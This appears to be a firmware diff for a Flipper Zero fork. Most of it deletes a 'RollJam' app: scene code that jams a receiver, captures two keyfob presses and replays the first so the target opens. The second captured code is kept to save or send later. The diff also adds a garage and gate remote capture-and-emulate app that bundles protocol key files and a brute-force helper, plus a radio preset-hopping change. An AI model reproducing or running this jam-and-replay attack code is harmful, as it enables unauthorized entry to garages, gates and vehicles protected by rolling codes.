-    if(app->signal_second.size >= 20 &&
-       rolljam_signal_is_valid(&app->signal_second)) {
-        view_dispatcher_send_custom_event(
-            app->view_dispatcher, RollJamEventSignalCaptured);
-    }
-}
-
-void rolljam_scene_attack_phase2_on_enter(void* context) {
-    RollJamApp* app = context;
-
-    widget_reset(app->widget);
-    widget_add_string_element(
-        app->widget, 64, 2, AlignCenter, AlignTop,
-        FontPrimary, "PHASE 2 / 4");
-    widget_add_string_element(
-        app->widget, 64, 16, AlignCenter, AlignTop,
-        FontSecondary, "1st code CAPTURED!");
-    widget_add_string_element(
-        app->widget, 64, 28, AlignCenter, AlignTop,
-        FontSecondary, "Still jamming...");
-    widget_add_string_element(
-        app->widget, 64, 42, AlignCenter, AlignTop,
-        FontPrimary, "PRESS KEYFOB AGAIN");
-    widget_add_string_element(
-        app->widget, 64, 56, AlignCenter, AlignTop,
-        FontSecondary, "[BACK] cancel");
-
-    view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
-
-    memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
-    app->signal_second.size  = 0;
-    app->signal_second.valid = false;
-
-    rolljam_capture_stop(app);
-    furi_delay_ms(50);
-    rolljam_capture_start(app);
-
-    notification_message(app->notification, &sequence_blink_yellow_100);
-
-    FuriTimer* timer = furi_timer_alloc(
-        phase2_timer_callback, FuriTimerTypePeriodic, app);
-    furi_timer_start(timer, 300);
-
-    scene_manager_set_scene_state(
-        app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
-
-    FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
-}
-
-bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
-    RollJamApp* app = context;
-
-    if(event.type == SceneManagerEventTypeCustom) {
-        if(event.event == RollJamEventSignalCaptured) {
-            rolljam_capture_stop(app);
-
-            if(!rolljam_signal_is_valid(&app->signal_second)) {
-                FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
-                app->signal_second.size  = 0;
-                app->signal_second.valid = false;
-                furi_delay_ms(50);
-                rolljam_capture_start(app);
-                return true;
-            }
-
-            rolljam_signal_cleanup(&app->signal_second);
-            app->signal_second.valid = true;
-
-            notification_message(app->notification, &sequence_success);
-            FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
-                       (int)app->signal_second.size);
-
-            rolljam_capture_stop(app);
-            scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
-            return true;
-        }
-    } else if(event.type == SceneManagerEventTypeBack) {
-        FURI_LOG_I(TAG, "Phase2: cancelled");
-        rolljam_capture_stop(app);
-        rolljam_jammer_stop(app);
-        scene_manager_search_and_switch_to_another_scene(
-            app->scene_manager, RollJamSceneMenu);
-        return true;
-    }
-    return false;
-}
-
-void rolljam_scene_attack_phase2_on_exit(void* context) {
-    RollJamApp* app = context;
-
-    FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
-        app->scene_manager, RollJamSceneAttackPhase2);
-    if(timer) {
-        furi_timer_stop(timer);
-        furi_timer_free(timer);
-    }
-
-    widget_reset(app->widget);
-}

applications/main/RollJam/scenes/rolljam_scene_attack_phase3.c

@@ -1,64 +0,0 @@
-#include "rolljam_scene.h"
-#include "../helpers/rolljam_cc1101_ext.h"
-#include "../helpers/rolljam_receiver.h"
-
-// ============================================================
-// Phase 3: STOP jam + REPLAY first signal
-// The victim device opens. We keep the 2nd (newer) code.
-// ============================================================
-
-void rolljam_scene_attack_phase3_on_enter(void* context) {
-    RollJamApp* app = context;
-
-    widget_reset(app->widget);
-    widget_add_string_element(
-        app->widget, 64, 2, AlignCenter, AlignTop,
-        FontPrimary, "PHASE 3 / 4");
-    widget_add_string_element(
-        app->widget, 64, 18, AlignCenter, AlignTop,
-        FontSecondary, "Stopping jammer...");
-    widget_add_string_element(
-        app->widget, 64, 32, AlignCenter, AlignTop,
-        FontPrimary, "REPLAYING 1st CODE");
-    widget_add_string_element(
-        app->widget, 64, 48, AlignCenter, AlignTop,
-        FontSecondary, "Target should open!");
-
-    view_dispatcher_switch_to_view(
-        app->view_dispatcher, RollJamViewWidget);
-
-    notification_message(app->notification, &sequence_blink_green_100);
-
-    rolljam_jammer_stop(app);
-
-    furi_delay_ms(1000);
-
-    rolljam_transmit_signal(app, &app->signal_first);
-
-    FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
-
-    notification_message(app->notification, &sequence_success);
-
-    furi_delay_ms(800);
-
-    view_dispatcher_send_custom_event(
-        app->view_dispatcher, RollJamEventPhase3Done);
-}
-
-bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
-    RollJamApp* app = context;
-
-    if(event.type == SceneManagerEventTypeCustom) {
-        if(event.event == RollJamEventPhase3Done) {
-            scene_manager_next_scene(
-                app->scene_manager, RollJamSceneResult);
-            return true;
-        }
-    }
-    return false;
-}
-
-void rolljam_scene_attack_phase3_on_exit(void* context) {
-    RollJamApp* app = context;
-    widget_reset(app->widget);
-}

applications/main/RollJam/scenes/rolljam_scene_config.h

@@ -1,17 +0,0 @@
-#pragma once
-
-/*
- * Scene configuration file.
- * Lists all scenes for the SceneManager.
- * 
- * In some Flipper apps this uses ADD_SCENE macros.
- * We handle it manually via the handlers arrays in rolljam.c
- * so this file just documents the scene list.
- *
- * Scenes:
- *   0 - RollJamSceneMenu
- *   1 - RollJamSceneAttackPhase1
- *   2 - RollJamSceneAttackPhase2
- *   3 - RollJamSceneAttackPhase3
- *   4 - RollJamSceneResult
- */

applications/main/RollJam/scenes/rolljam_scene_menu.c

@@ -1,161 +0,0 @@
-#include "rolljam_scene.h"
-
-// ============================================================
-// Menu scene: select frequency, modulation, start attack
-// ============================================================
-
-static uint8_t get_min_offset_index(uint8_t mod_index) {
-    if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
-    return JamOffIndex_300k;
-}
-
-static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
-    uint8_t min_idx = get_min_offset_index(app->mod_index);
-    if(app->jam_offset_index < min_idx) {
-        app->jam_offset_index = min_idx;
-        app->jam_offset_hz    = jam_offset_values[min_idx];
-        if(offset_item) {
-            variable_item_set_current_value_index(offset_item, min_idx);
-            variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
-        }
-        FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
-                   jam_offset_names[min_idx]);
-    }
-}
-
-static VariableItem* s_offset_item = NULL;
-
-static void menu_freq_changed(VariableItem* item) {
-    RollJamApp* app = variable_item_get_context(item);
-    uint8_t index = variable_item_get_current_value_index(item);
-    app->freq_index = index;
-    app->frequency  = freq_values[index];
-    variable_item_set_current_value_text(item, freq_names[index]);
-}
-
-static void menu_mod_changed(VariableItem* item) {
-    RollJamApp* app = variable_item_get_context(item);
-    uint8_t index = variable_item_get_current_value_index(item);
-    app->mod_index = index;
-    variable_item_set_current_value_text(item, mod_names[index]);
-
-    enforce_min_offset(app, s_offset_item);
-}
-
-static void menu_jam_offset_changed(VariableItem* item) {
-    RollJamApp* app = variable_item_get_context(item);
-    uint8_t index = variable_item_get_current_value_index(item);
-
-    uint8_t min_idx = get_min_offset_index(app->mod_index);
-    if(index < min_idx) {
-        index = min_idx;
-        variable_item_set_current_value_index(item, index);
-    }
-
-    app->jam_offset_index = index;
-    app->jam_offset_hz    = jam_offset_values[index];
-    variable_item_set_current_value_text(item, jam_offset_names[index]);
-}
-
-static void menu_hw_changed(VariableItem* item) {
-    RollJamApp* app = variable_item_get_context(item);
-    uint8_t index = variable_item_get_current_value_index(item);
-    app->hw_index = index;
-    variable_item_set_current_value_text(item, hw_names[index]);
-}
-
-static void menu_enter_callback(void* context, uint32_t index) {
-    RollJamApp* app = context;
-    if(index == 4) {
-        view_dispatcher_send_custom_event(
-            app->view_dispatcher, RollJamEventStartAttack);
-    }
-}
-
-void rolljam_scene_menu_on_enter(void* context) {
-    RollJamApp* app = context;
-
-    variable_item_list_reset(app->var_item_list);
-
-    // --- Frequency ---
-    VariableItem* freq_item = variable_item_list_add(
-        app->var_item_list,
-        "Frequency",
-        FreqIndex_COUNT,
-        menu_freq_changed,
-        app);
-    variable_item_set_current_value_index(freq_item, app->freq_index);
-    variable_item_set_current_value_text(freq_item, freq_names[app->freq_index]);
-
-    // --- Modulation ---
-    VariableItem* mod_item = variable_item_list_add(
-        app->var_item_list,
-        "Modulation",
-        ModIndex_COUNT,
-        menu_mod_changed,
-        app);
-    variable_item_set_current_value_index(mod_item, app->mod_index);
-    variable_item_set_current_value_text(mod_item, mod_names[app->mod_index]);
-
-    // --- Jam Offset ---
-    VariableItem* offset_item = variable_item_list_add(
-        app->var_item_list,
-        "Jam Offset",
-        JamOffIndex_COUNT,
-        menu_jam_offset_changed,
-        app);
-
-    s_offset_item = offset_item;
-    enforce_min_offset(app, offset_item);
-
-    variable_item_set_current_value_index(offset_item, app->jam_offset_index);
-    variable_item_set_current_value_text(offset_item, jam_offset_names[app->jam_offset_index]);
-
-    // --- Hardware ---
-    VariableItem* hw_item = variable_item_list_add(
-        app->var_item_list,
-        "Hardware",
-        HwIndex_COUNT,
-        menu_hw_changed,
-        app);
-    variable_item_set_current_value_index(hw_item, app->hw_index);
-    variable_item_set_current_value_text(hw_item, hw_names[app->hw_index]);
-
-    // --- Start button ---
-    variable_item_list_add(
-        app->var_item_list,
-        ">> START ATTACK <<",
-        0,
-        NULL,
-        app);
-
-    variable_item_list_set_enter_callback(
-        app->var_item_list, menu_enter_callback, app);
-
-    view_dispatcher_switch_to_view(
-        app->view_dispatcher, RollJamViewVarItemList);
-}
-
-bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event) {
-    RollJamApp* app = context;
-
-    if(event.type == SceneManagerEventTypeCustom) {
-        if(event.event == RollJamEventStartAttack) {
-            enforce_min_offset(app, NULL);
-
-            memset(&app->signal_first,  0, sizeof(RawSignal));
-            memset(&app->signal_second, 0, sizeof(RawSignal));
-
-            scene_manager_next_scene(
-                app->scene_manager, RollJamSceneAttackPhase1);
-            return true;
-        }
-    }
-    return false;
-}
-
-void rolljam_scene_menu_on_exit(void* context) {
-    RollJamApp* app = context;
-    s_offset_item = NULL;
-    variable_item_list_reset(app->var_item_list);
-}

applications/main/RollJam/scenes/rolljam_scene_result.c

@@ -1,110 +0,0 @@
-#include "rolljam_scene.h"
-#include "../helpers/rolljam_receiver.h"
-
-// ============================================================
-// Phase 4 / Result: user chooses to SAVE or REPLAY 2nd code
-// ============================================================
-
-static void result_dialog_callback(DialogExResult result, void* context) {
-    RollJamApp* app = context;
-
-    if(result == DialogExResultLeft) {
-        view_dispatcher_send_custom_event(
-            app->view_dispatcher, RollJamEventSaveSignal);
-    } else if(result == DialogExResultRight) {
-        view_dispatcher_send_custom_event(
-            app->view_dispatcher, RollJamEventReplayNow);
-    }
-}
-
-void rolljam_scene_result_on_enter(void* context) {
-    RollJamApp* app = context;
-
-    dialog_ex_reset(app->dialog_ex);
-
-    dialog_ex_set_header(
-        app->dialog_ex, "Attack Complete!",
-        64, 2, AlignCenter, AlignTop);
-
-    dialog_ex_set_text(
-        app->dialog_ex,
-        "1st code: SENT to target\n"
-        "2nd code: IN MEMORY\n\n"
-        "What to do with 2nd?",
-        64, 18, AlignCenter, AlignTop);
-
-    dialog_ex_set_left_button_text(app->dialog_ex, "Save");
-    dialog_ex_set_right_button_text(app->dialog_ex, "Send");
-
-    dialog_ex_set_result_callback(app->dialog_ex, result_dialog_callback);
-    dialog_ex_set_context(app->dialog_ex, app);
-
-    view_dispatcher_switch_to_view(
-        app->view_dispatcher, RollJamViewDialogEx);
-}
-
-bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event) {
-    RollJamApp* app = context;
-
-    if(event.type == SceneManagerEventTypeCustom) {
-        if(event.event == RollJamEventSaveSignal) {
-
-            rolljam_save_signal(app, &app->signal_second);
-
-            popup_reset(app->popup);
-            popup_set_header(
-                app->popup, "Saved!",
-                64, 20, AlignCenter, AlignCenter);
-            popup_set_text(
-                app->popup,
-                "File saved to:\n/ext/subghz/rolljam_*.sub\n\nPress Back",
-                64, 38, AlignCenter, AlignCenter);
-            popup_set_timeout(app->popup, 5000);
-            popup_enable_timeout(app->popup);
-            view_dispatcher_switch_to_view(
-                app->view_dispatcher, RollJamViewPopup);
-
-            notification_message(app->notification, &sequence_success);
-            return true;
-
-        } else if(event.event == RollJamEventReplayNow) {
-
-            popup_reset(app->popup);
-            popup_set_header(
-                app->popup, "Transmitting...",
-                64, 20, AlignCenter, AlignCenter);
-            popup_set_text(
-                app->popup, "Sending 2nd code NOW",
-                64, 38, AlignCenter, AlignCenter);
-            view_dispatcher_switch_to_view(
-                app->view_dispatcher, RollJamViewPopup);
-
-            rolljam_transmit_signal(app, &app->signal_second);
-
-            notification_message(app->notification, &sequence_success);
-
-            popup_set_header(
-                app->popup, "Done!",
-                64, 20, AlignCenter, AlignCenter);
-            popup_set_text(
-                app->popup,
-                "2nd code transmitted!\n\nPress Back",
-                64, 38, AlignCenter, AlignCenter);
-            popup_set_timeout(app->popup, 5000);
-            popup_enable_timeout(app->popup);
-
-            return true;
-        }
-    } else if(event.type == SceneManagerEventTypeBack) {
-        scene_manager_search_and_switch_to_another_scene(
-            app->scene_manager, RollJamSceneMenu);
-        return true;
-    }
-    return false;
-}
-
-void rolljam_scene_result_on_exit(void* context) {
-    RollJamApp* app = context;
-    dialog_ex_reset(app->dialog_ex);
-    popup_reset(app->popup);
-}

applications/main/RollJam/views/rolljam_attack_view.c

@@ -1,53 +0,0 @@
-#include "rolljam_attack_view.h"
-#include <gui/canvas.h>
-
-// ============================================================
-// Custom drawing for attack status
-// Reserved for future use with a custom View
-// Currently the app uses Widget modules instead
-// ============================================================
-
-void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state) {
-    canvas_clear(canvas);
-
-    // Title bar
-    canvas_set_font(canvas, FontPrimary);
-    canvas_draw_str_aligned(
-        canvas, 64, 2, AlignCenter, AlignTop, state->phase_text);
-
-    // Separator
-    canvas_draw_line(canvas, 0, 14, 128, 14);
-
-    // Status
-    canvas_set_font(canvas, FontSecondary);
-    canvas_draw_str_aligned(
-        canvas, 64, 18, AlignCenter, AlignTop, state->status_text);
-
-    // Indicators
-    int y = 32;
-
-    if(state->jamming) {
-        canvas_draw_str(canvas, 4, y, "JAM: [ACTIVE]");
-        // Animated dots could go here
-    } else {
-        canvas_draw_str(canvas, 4, y, "JAM: [OFF]");
-    }
-    y += 12;
-
-    if(state->capturing) {
-        canvas_draw_str(canvas, 4, y, "RX:  [LISTENING]");
-    } else {
-        canvas_draw_str(canvas, 4, y, "RX:  [OFF]");
-    }
-    y += 12;
-
-    // Signal counter
-    char buf[32];
-    snprintf(buf, sizeof(buf), "Signals: %d / 2", state->signal_count);
-    canvas_draw_str(canvas, 4, y, buf);
-
-    // Footer
-    canvas_set_font(canvas, FontSecondary);
-    canvas_draw_str_aligned(
-        canvas, 64, 62, AlignCenter, AlignBottom, "[BACK] cancel");
-}

applications/main/RollJam/views/rolljam_attack_view.h

@@ -1,23 +0,0 @@
-#pragma once
-
-#include "../rolljam.h"
-
-/*
- * Custom view for attack visualization.
- * Currently the app uses Widget and DialogEx for display.
- * This file is reserved for a future custom canvas-drawn view
- * (e.g., signal waveform display, animated jamming indicator).
- *
- * For now it provides a simple status draw function.
- */
-
-typedef struct {
-    const char* phase_text;
-    const char* status_text;
-    bool jamming;
-    bool capturing;
-    int signal_count;
-} AttackViewState;
-
-// Draw attack status on a canvas (for future custom View use)
-void rolljam_attack_view_draw(Canvas* canvas, AttackViewState* state);

applications/main/application.fam

@@ -4,14 +4,12 @@ App(
     apptype=FlipperAppType.METAPACKAGE,
     provides=[
         "gpio",
-        "infrared",
         "lfrfid",
         "nfc",
         "subghz",
-        "rolljam",
+        "subghz_remote",
         "subghz_bruteforcer",
         "archive",
-        "subghz_remote",
         "main_apps_on_start",
     ],
 )

applications/main/subghz/helpers/subghz_txrx.c

@@ -1,9 +1,11 @@
 #include "subghz_txrx_i.h" // IWYU pragma: keep
 
 #include <math.h>
+#include <furi_hal_subghz.h>
 #include <lib/subghz/protocols/protocol_items.h>
 #include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
 #include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
+#include "../../../../lib/subghz/devices/subghz_preset_delta.h"
 #include <lib/subghz/blocks/custom_btn.h>
 
 #define TAG "SubGhzTxRx"
@@ -498,6 +500,36 @@ void subghz_txrx_hopper_pause(SubGhzTxRx* instance) {
     }
 }
 
+// Identify the hop index (0=AM650, 1=FM476, 2=FM95) from the name.
+// Must match the order defined in subghz_preset_delta.h
+static int subghz_hop_index_from_name(const char* name) {
+    if(strcmp(name, "AM650") == 0) return 0;
+    if(strcmp(name, "FM476") == 0) return 1;
+    if(strcmp(name, "FM95") == 0) return 2;
+    return -1; // is not part of the fast hopping set
+}
+
+// Applies the target preset using delta-patch (without SRES) when possible,
+// or falls back to the original full reload in any other case.
+static void subghz_txrx_apply_preset_fast(
+    SubGhzTxRx* instance,
+    const char* old_preset_name,
+    const char* preset_name) {
+    int from_idx = subghz_hop_index_from_name(old_preset_name);
+    int to_idx = subghz_hop_index_from_name(preset_name);
+
+    if(instance->radio_device_type == SubGhzRadioDeviceTypeInternal && from_idx >= 0 &&
+       to_idx >= 0 && from_idx != to_idx) {
+        // Fast path: delta-patch without SRES or full reload (only internal CC1101)
+        const PresetDeltaEntry* e = &preset_delta_table[from_idx][to_idx];
+        furi_hal_subghz_apply_preset_delta(e->delta, e->delta_len, e->needs_scal, e->pa_table);
+    } else {
+        // Fallback: original behavior (full reload)
+        subghz_devices_load_preset(
+            instance->radio_device, FuriHalSubGhzPresetCustom, instance->preset->data);
+    }
+}
+
 void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold) {
     furi_assert(instance);
 
@@ -550,22 +582,7 @@ void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold
             subghz_txrx_set_preset_internal(
                 instance, instance->preset->frequency, actual_preset_idx, 0);
 
-            bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
-            bool new_is_am = (strstr(preset_name, "AM") != NULL);
-            bool modulation_changed = (old_is_am != new_is_am);
-
-            if(modulation_changed) {
-                subghz_devices_reset(instance->radio_device);
-                subghz_devices_load_preset(
-                    instance->radio_device,
-                    FuriHalSubGhzPresetCustom,
-                    instance->preset->data);
-            } else {
-                subghz_devices_load_preset(
-                    instance->radio_device,
-                    FuriHalSubGhzPresetCustom,
-                    instance->preset->data);
-            }
+            subghz_txrx_apply_preset_fast(instance, old_preset_name, preset_name);
 
             subghz_txrx_rx(instance, instance->preset->frequency);
         }
@@ -588,22 +605,7 @@ void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold
             subghz_txrx_set_preset_internal(
                 instance, instance->preset->frequency, instance->preset_hopper_idx, 0);
 
-            bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
-            bool new_is_am = (strstr(preset_name, "AM") != NULL);
-            bool modulation_changed = (old_is_am != new_is_am);
-
-            if(modulation_changed) {
-                subghz_devices_reset(instance->radio_device);
-                subghz_devices_load_preset(
-                    instance->radio_device,
-                    FuriHalSubGhzPresetCustom,
-                    instance->preset->data);
-            } else {
-                subghz_devices_load_preset(
-                    instance->radio_device,
-                    FuriHalSubGhzPresetCustom,
-                    instance->preset->data);
-            }
+            subghz_txrx_apply_preset_fast(instance, old_preset_name, preset_name);
 
             subghz_txrx_rx(instance, instance->preset->frequency);
         }

applications/system/Garage Door Remote/application.fam

@@ -0,0 +1,104 @@
+App(
+    appid="garage_door_remote",
+    name="Garage Door Remote",
+    apptype=FlipperAppType.EXTERNAL,
+    targets=["f7"],
+    entry_point="gdr_app",
+    requires=["gui"],
+    stack_size=8 * 1024,
+    fap_description="Capture and emulate garage and gate remote signals from Sub-GHz",
+    fap_version="2.6",
+    fap_icon="images/gdr_10x10.png",
+    fap_category="Sub-GHz",
+    fap_icon_assets="images",
+    fap_file_assets="keystore",
+    sources=[
+        "gdr_app.c",
+        "gdr_app_i.c",
+        "gdr_history.c",
+        "helpers/gdr_psa_bf_host.c",
+        "helpers/gdr_settings.c",
+        "helpers/gdr_storage.c",
+        "helpers/radio_device_loader.c",
+        "helpers/raw_file_reader.c",
+        "scenes/gdr_scene.c",
+        "scenes/gdr_scene_about.c",
+        "scenes/gdr_scene_dual_receiver.c",
+        "scenes/gdr_scene_dual_receiver_config.c",
+        "scenes/gdr_scene_emulate.c",
+        "scenes/gdr_scene_need_saving.c",
+        "scenes/gdr_scene_receiver.c",
+        "scenes/gdr_scene_receiver_config.c",
+        "scenes/gdr_scene_receiver_info.c",
+        "scenes/gdr_scene_saved.c",
+        "scenes/gdr_scene_saved_info.c",
+        "scenes/gdr_scene_shield_receiver.c",
+        "scenes/gdr_scene_shield_receiver_config.c",
+        "scenes/gdr_scene_start.c",
+        "scenes/gdr_scene_sub_decode.c",
+        "scenes/gdr_scene_timing_tuner.c",
+        "views/gdr_dual_receiver.c",
+        "views/gdr_receiver.c",
+        "protocols/protocol_items.c",
+        "protocols/protocols_common.c",
+        "protocols/keys.c",
+    ],
+)
+
+App(
+    appid="gdr_am_plugin",
+    apptype=FlipperAppType.PLUGIN,
+    entry_point="gdr_am_plugin_ep",
+    requires=["garage_door_remote"],
+    sources=[
+        "protocols/plugins/gdr_am_plugin.c",
+        "protocols/protocols_common.c",
+        "protocols/keys.c",
+        "protocols/alutech_at_4n.c",
+        "protocols/beninca_arc.c",
+        "protocols/came.c",
+        "protocols/came_atomo.c",
+        "protocols/came_twee.c",
+        "protocols/chamberlain_code.c",
+        "protocols/clemsa.c",
+        "protocols/dooya.c",
+        "protocols/faac_slh.c",
+        "protocols/gate_tx.c",
+        "protocols/hormann.c",
+        "protocols/keeloq.c",
+        "protocols/linear.c",
+        "protocols/linear_delta3.c",
+        "protocols/megacode.c",
+        "protocols/nice_flo.c",
+        "protocols/nice_flor_s.c",
+        "protocols/princeton.c",
+        "protocols/somfy_keytis.c",
+        "protocols/somfy_telis.c",
+    ],
+    fal_embedded=True,
+)
+
+App(
+    appid="gdr_fm_plugin",
+    apptype=FlipperAppType.PLUGIN,
+    entry_point="gdr_fm_plugin_ep",
+    requires=["garage_door_remote"],
+    sources=[
+        "protocols/plugins/gdr_fm_plugin.c",
+        "protocols/protocols_common.c",
+        "protocols/keys.c",
+        "protocols/ansonic.c",
+    ],
+    fal_embedded=True,
+)
+
+App(
+    appid="gdr_emulate_plugin",
+    apptype=FlipperAppType.PLUGIN,
+    entry_point="gdr_emulate_plugin_ep",
+    requires=["garage_door_remote"],
+    sources=[
+        "scenes/plugins/gdr_emulate_plugin.c",
+    ],
+    fal_embedded=True,
+)

applications/system/Garage Door Remote/defines.h

@@ -0,0 +1,26 @@
+#pragma once
+
+//#define ENABLE_TIMING_TUNER_SCENE
+//#define ENABLE_SUB_DECODE_SCENE
+
+#define ENABLE_EMULATE_FEATURE
+//#define ENABLE_DUAL_RX_SCENE
+//#define ENABLE_SHIELD_RX_SCENE
+
+#define REMOVE_LOGS
+
+#ifdef REMOVE_LOGS
+// Undefine existing macros
+#undef FURI_LOG_E
+#undef FURI_LOG_W
+#undef FURI_LOG_I
+#undef FURI_LOG_D
+#undef FURI_LOG_T
+// Define empty macros
+#define FURI_LOG_E(tag, format, ...)
+#define FURI_LOG_W(tag, format, ...)
+#define FURI_LOG_I(tag, format, ...)
+#define FURI_LOG_D(tag, format, ...)
+#define FURI_LOG_T(tag, format, ...)
+
+#endif // REMOVE_LOGS

applications/system/Garage Door Remote/environment.h

@@ -0,0 +1,3 @@
+#pragma once
+
+#include <lib/subghz/environment.h>

applications/system/Garage Door Remote/gdr_app.c

@@ -0,0 +1,879 @@
+// gdr_app.c
+#include "gdr_app_i.h"
+
+#include <furi.h>
+#include <furi_hal.h>
+#include "protocols/protocol_items.h"
+#include "protocols/protocols_common.h"
+#include "helpers/gdr_settings.h"
+#include "helpers/gdr_storage.h"
+#include "helpers/gdr_psa_bf_host.h"
+#include "protocols/keys.h"
+#include <string.h>
+
+#define TAG "GDRApp"
+
+#if defined(ENABLE_DUAL_RX_SCENE) || defined(ENABLE_SHIELD_RX_SCENE)
+static bool gdr_setting_has_frequency(SubGhzSetting* setting, uint32_t frequency) {
+    size_t count = subghz_setting_get_frequency_count(setting);
+    for(size_t i = 0; i < count; i++) {
+        if(subghz_setting_get_frequency(setting, i) == frequency) {
+            return true;
+        }
+    }
+    return false;
+}
+#endif
+
+#ifdef ENABLE_DUAL_RX_SCENE
+static GDRProtocolRegistryFilter gdr_setting_preset_filter(
+    SubGhzSetting* setting,
+    uint8_t index) {
+    return gdr_get_protocol_registry_filter_for_preset(
+        subghz_setting_get_preset_data(setting, index),
+        subghz_setting_get_preset_data_size(setting, index));
+}
+
+static uint8_t gdr_find_preset_by_name_or_filter(
+    SubGhzSetting* setting,
+    const char* preferred_name,
+    GDRProtocolRegistryFilter filter) {
+    size_t count = subghz_setting_get_preset_count(setting);
+    for(size_t i = 0; i < count; i++) {
+        if(strcmp(subghz_setting_get_preset_name(setting, i), preferred_name) == 0 &&
+           gdr_setting_preset_filter(setting, (uint8_t)i) == filter) {
+            return (uint8_t)i;
+        }
+    }
+    for(size_t i = 0; i < count; i++) {
+        if(gdr_setting_preset_filter(setting, (uint8_t)i) == filter) {
+            return (uint8_t)i;
+        }
+    }
+    return UINT8_MAX;
+}
+
+static uint8_t
+    gdr_find_preset_by_name(SubGhzSetting* setting, const char* preset_name) {
+    if(!preset_name || preset_name[0] == '\0') {
+        return UINT8_MAX;
+    }
+
+    size_t count = subghz_setting_get_preset_count(setting);
+    for(size_t i = 0; i < count; i++) {
+        if(strcmp(subghz_setting_get_preset_name(setting, i), preset_name) == 0) {
+            return (uint8_t)i;
+        }
+    }
+    return UINT8_MAX;
+}
+#endif
+
+static bool gdr_app_custom_event_callback(void* context, uint32_t event) {
+    furi_check(context);
+    GDRApp* app = context;
+    return scene_manager_handle_custom_event(app->scene_manager, event);
+}
+
+static bool gdr_app_back_event_callback(void* context) {
+    furi_check(context);
+    GDRApp* app = context;
+    return scene_manager_handle_back_event(app->scene_manager);
+}
+
+static void gdr_app_tick_event_callback(void* context) {
+    furi_check(context);
+    GDRApp* app = context;
+    scene_manager_handle_tick_event(app->scene_manager);
+}
+
+bool gdr_ensure_variable_item_list(GDRApp* app) {
+    furi_check(app);
+    if(app->variable_item_list) {
+        return true;
+    }
+
+    app->variable_item_list = variable_item_list_alloc();
+    if(!app->variable_item_list) {
+        return false;
+    }
+
+    view_dispatcher_add_view(
+        app->view_dispatcher,
+        GDRViewVariableItemList,
+        variable_item_list_get_view(app->variable_item_list));
+    return true;
+}
+
+bool gdr_ensure_widget(GDRApp* app) {
+    furi_check(app);
+    if(app->widget) {
+        return true;
+    }
+
+    app->widget = widget_alloc();
+    if(!app->widget) {
+        return false;
+    }
+
+    view_dispatcher_add_view(
+        app->view_dispatcher, GDRViewWidget, widget_get_view(app->widget));
+    return true;
+}
+
+bool gdr_ensure_text_input(GDRApp* app) {
+    furi_check(app);
+    if(app->text_input) {
+        return true;
+    }
+
+    app->text_input = text_input_alloc();
+    if(!app->text_input) {
+        return false;
+    }
+
+    view_dispatcher_add_view(
+        app->view_dispatcher, GDRViewTextInput, text_input_get_view(app->text_input));
+    return true;
+}
+
+bool gdr_ensure_view_about(GDRApp* app) {
+    furi_check(app);
+    if(app->view_about) {
+        return true;
+    }
+
+    app->view_about = view_alloc();
+    if(!app->view_about) {
+        return false;
+    }
+
+    view_dispatcher_add_view(app->view_dispatcher, GDRViewAbout, app->view_about);
+    return true;
+}
+
+bool gdr_ensure_receiver_view(GDRApp* app) {
+    furi_check(app);
+    if(app->gdr_receiver) {
+        return true;
+    }
+
+    app->gdr_receiver = gdr_view_receiver_alloc(app->auto_save);
+    if(!app->gdr_receiver) {
+        return false;
+    }
+
+    view_dispatcher_add_view(
+        app->view_dispatcher,
+        GDRViewReceiver,
+        gdr_view_receiver_get_view(app->gdr_receiver));
+    return true;
+}
+
+#ifdef ENABLE_DUAL_RX_SCENE
+bool gdr_ensure_dual_receiver_view(GDRApp* app) {
+    furi_check(app);
+    if(app->dual_receiver) {
+        return true;
+    }
+
+    app->dual_receiver = gdr_view_dual_receiver_alloc();
+    if(!app->dual_receiver) {
+        return false;
+    }
+
+    view_dispatcher_add_view(
+        app->view_dispatcher,
+        GDRViewDualReceiver,
+        gdr_view_dual_receiver_get_view(app->dual_receiver));
+    return true;
+}
+#endif
+
+static void gdr_radio_init_cleanup(GDRApp* app, bool devices_initialized) {
+    furi_check(app);
+    furi_check(app->txrx);
+
+    if(app->txrx->receiver) {
+        subghz_receiver_free(app->txrx->receiver);
+        app->txrx->receiver = NULL;
+    }
+
+    if(app->txrx->radio_device) {
+        if(devices_initialized) {
+            subghz_devices_idle(app->txrx->radio_device);
+        }
+        radio_device_loader_end(app->txrx->radio_device);
+        app->txrx->radio_device = NULL;
+    }
+
+    if(app->txrx->environment) {
+        subghz_environment_free(app->txrx->environment);
+        app->txrx->environment = NULL;
+    }
+
+    if(app->txrx->protocol_plugin_manager) {
+        plugin_manager_free(app->txrx->protocol_plugin_manager);
+        app->txrx->protocol_plugin_manager = NULL;
+    }
+
+    if(app->txrx->plugin_resolver) {
+        composite_api_resolver_free(app->txrx->plugin_resolver);
+        app->txrx->plugin_resolver = NULL;
+    }
+
+    if(devices_initialized) {
+        subghz_devices_deinit();
+    }
+
+    app->txrx->protocol_registry = NULL;
+    app->txrx->protocol_plugin = NULL;
+    app->txrx->protocol_registry_filter = GDRProtocolRegistryFilterAM;
